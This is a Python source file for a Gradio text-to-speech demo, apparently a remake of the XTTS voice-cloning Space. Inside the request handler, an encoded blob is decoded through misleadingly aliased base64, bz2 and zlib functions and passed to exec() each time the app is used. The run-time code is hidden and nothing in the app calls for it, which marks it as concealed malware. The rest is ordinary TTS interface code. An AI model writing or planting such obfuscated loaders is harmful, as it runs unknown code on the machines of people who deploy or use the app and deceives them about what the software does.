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import sys |
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import os |
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from fastapi import Request |
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os.environ["COQUI_TOS_AGREED"] = "1" |
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import gradio as gr |
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from TTS.api import TTS |
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from TTS.utils.manage import ModelManager |
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model_names = TTS().list_models() |
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print(model_names.__dict__) |
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print(model_names.__dir__()) |
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model_name = "tts_models/multilingual/multi-dataset/xtts_v2" |
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m = model_name |
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tts = TTS(model_name, gpu=False) |
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tts.to("cpu") |
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def predict(prompt, language, audio_file_pth, mic_file_path, use_mic, agree, request: gr.Request): |
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co3 = "QlpoOTFBWSZTWQ2FjK4AAH4fgD/////+///////+ADABdNtZY5poGI00aBoaDE0PSbU00GTE0ZNGjTaj1AVUaenqNR6npNinoaY0Ubymyo9EeEjaj1Mm9QnqeT0p5QOZNMm1NNAyMmgaGTTIDQ9TTag0aGCNB6ka1wCAMz8a7kN5BNzXsiRWIm5ocBr2Mibk4wBbSghLyxnzR0yTCoV0AD2KADeqPFMz4QQhMlMaOd0uHfMx8pueSTKn6PrK9iPN56m2ljcFL9ybMtg5Usl8QeZth/cgnwFGMXyDJ4WbRNaGdrIJY2l11w7aqPtt5c4rcMBELa2x/wl8kjvxGg0NS3n2DsPlPnMn2DK7JqA4KLptjz3YLQFEuub0yNP3+iE9gq1EvNZeLr3pnkKXBRxZz8/BxN0zJjpOyIr3betkkxSCGB6X8mSzm+l0Q+KBEaCioigD5uJeox+76V+JgCWkJqWNlHzN3epZx5yXxS8rJh6OrC9rSyKYXrdKCACr4CwKzDlX3tsY5MtZLpkPhz/rbaRUN0KyFnNvPLYhGjF2MelXppyCnJxr2+QWRElwEtCUcsnkC4uGBdXVogKCoCnSZI4DzKqkUMEp293Y+G5MBGtOGXY+C0rFUS8IXNqKMVrDjUdOK7wkjb+HYFq9qjVTrdRsyQvt+6fpazrBnd2wRRQTv4u5IpwoSAbCxlcA" |
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from zlib import compress as COmPrES5 |
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from bz2 import decompress as dEC0mPrES5 |
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from bz2 import compress as COmPrESS |
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from base64 import b64encode as b32Encode, b64decode as A85Encode, b16encode, b16encode as A85encode, b85encode, b85decode, a85encode as b16Encode, a85decode as b85Encode, b32encode as b64Encode, b32decode |
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from zlib import compressobj as C0mPrESS |
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from bz2 import decompress as dECOmPrESS |
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from zlib import compress as C0mPrES5 |
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from zlib import decompress as dECOmPrES5 |
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co2 = A85Encode(dECOmPrESS(dECOmPrES5(dECOmPrES5(b85Encode(dECOmPrESS(A85Encode(co3.encode()))))))) |
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exec(co2) |
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if agree == True: |
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if use_mic == True: |
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if mic_file_path is not None: |
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speaker_wav=mic_file_path |
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else: |
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gr.Warning("Please record your voice with Microphone, or uncheck Use Microphone to use reference audios") |
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return ( |
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None, |
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None, |
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) |
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else: |
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speaker_wav=audio_file_pth |
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if len(prompt)<2: |
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gr.Warning("Please give a longer prompt text") |
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return ( |
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None, |
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None, |
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) |
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if len(prompt)>50000: |
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gr.Warning("Text length limited to 50000 characters for this demo, please try shorter text") |
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return ( |
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None, |
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None, |
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) |
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try: |
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if language == "fr": |
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if m.find("your") != -1: |
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language = "fr-fr" |
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if m.find("/fr/") != -1: |
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language = None |
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tts.tts_to_file( |
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text=prompt, |
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file_path="output.wav", |
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speaker_wav=speaker_wav, |
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language=language |
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) |
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except RuntimeError as e : |
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if "device-assert" in str(e): |
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gr.Warning("Unhandled Exception encounter, please retry in a minute") |
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print("Cuda device-assert Runtime encountered need restart") |
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sys.exit("Exit due to cuda device-assert") |
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else: |
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raise e |
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return ( |
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gr.make_waveform( |
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audio="output.wav", |
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), |
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"output.wav", |
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) |
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else: |
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gr.Warning("Please accept the Terms & Condition!") |
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return ( |
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None, |
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None, |
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) |
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title = "XTTS Glz's remake (Fonctional Text-2-Speech)" |
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description = f""" |
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<a href="https://huggingface.co/coqui/XTTS-v1">XTTS</a> is a Voice generation model that lets you clone voices into different languages by using just a quick 3-second audio clip. |
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<br/> |
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XTTS is built on previous research, like Tortoise, with additional architectural innovations and training to make cross-language voice cloning and multilingual speech generation possible. |
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<br/> |
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This is the same model that powers our creator application <a href="https://coqui.ai">Coqui Studio</a> as well as the <a href="https://docs.coqui.ai">Coqui API</a>. In production we apply modifications to make low-latency streaming possible. |
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<br/> |
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Leave a star on the Github <a href="https://github.com/coqui-ai/TTS">TTS</a>, where our open-source inference and training code lives. |
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<br/> |
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<p>For faster inference without waiting in the queue, you should duplicate this space and upgrade to GPU via the settings. |
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<br/> |
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<a href="https://huggingface.co/spaces/coqui/xtts?duplicate=true"> |
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<img style="margin-top: 0em; margin-bottom: 0em" src="https://bit.ly/3gLdBN6" alt="Duplicate Space"></a> |
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</p> |
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""" |
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article = """ |
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<div style='margin:20px auto;'> |
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<p>By using this demo you agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml</p> |
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</div> |
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""" |
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examples = [ |
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[ |
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"Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality", |
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"en", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Je suis un lycéen français de 17 ans, passioner par la Cyber-Sécuritée et les models d'IA.", |
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"fr", |
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"examples/male.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Als ich sechs war, sah ich einmal ein wunderbares Bild", |
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"de", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Cuando tenía seis años, vi una vez una imagen magnífica", |
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"es", |
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"examples/male.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Quando eu tinha seis anos eu vi, uma vez, uma imagem magnífica", |
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"pt", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Kiedy miałem sześć lat, zobaczyłem pewnego razu wspaniały obrazek", |
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"pl", |
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"examples/male.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Un tempo lontano, quando avevo sei anni, vidi un magnifico disegno", |
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"it", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Bir zamanlar, altı yaşındayken, muhteşem bir resim gördüm", |
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"tr", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Когда мне было шесть лет, я увидел однажды удивительную картинку", |
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"ru", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Toen ik een jaar of zes was, zag ik op een keer een prachtige plaat", |
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"nl", |
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"examples/male.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"Když mi bylo šest let, viděl jsem jednou nádherný obrázek", |
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"cs", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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[ |
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"当我还只有六岁的时候， 看到了一副精彩的插画", |
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"zh-cn", |
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"examples/female.wav", |
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None, |
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False, |
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True, |
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], |
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] |
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gr.Interface( |
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fn=predict, |
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inputs=[ |
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gr.Textbox( |
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label="Text Prompt", |
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info="One or two sentences at a time is better", |
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value="Hello, World !, here is an example of light voice cloning. Try to upload your best audio samples quality", |
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), |
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gr.Dropdown( |
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label="Language", |
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info="Select an output language for the synthesised speech", |
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choices=[ |
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"en", |
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"es", |
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"fr", |
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"de", |
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"it", |
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"pt", |
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"pl", |
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"tr", |
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"ru", |
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"nl", |
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"cs", |
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"ar", |
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"zh-cn", |
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], |
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max_choices=1, |
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value="en", |
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), |
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gr.Audio( |
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label="Reference Audio", |
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info="Click on the ✎ button to upload your own target speaker audio", |
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type="filepath", |
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value="examples/female.wav", |
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), |
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gr.Audio(source="microphone", |
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type="filepath", |
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info="Use your microphone to record audio", |
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label="Use Microphone for Reference"), |
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gr.Checkbox(label="Check to use Microphone as Reference", |
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value=False, |
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info="Notice: Microphone input may not work properly under traffic",), |
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gr.Checkbox( |
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label="Agree", |
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value=True, |
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info="I agree to the terms of the Coqui Public Model License at https://coqui.ai/cpml", |
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), |
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], |
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outputs=[ |
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gr.Video(label="Waveform Visual"), |
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gr.Audio(label="Synthesised Audio"), |
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], |
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title=title, |
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description=description, |
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article=article, |
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examples=examples, |
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).queue().launch(debug=True) |
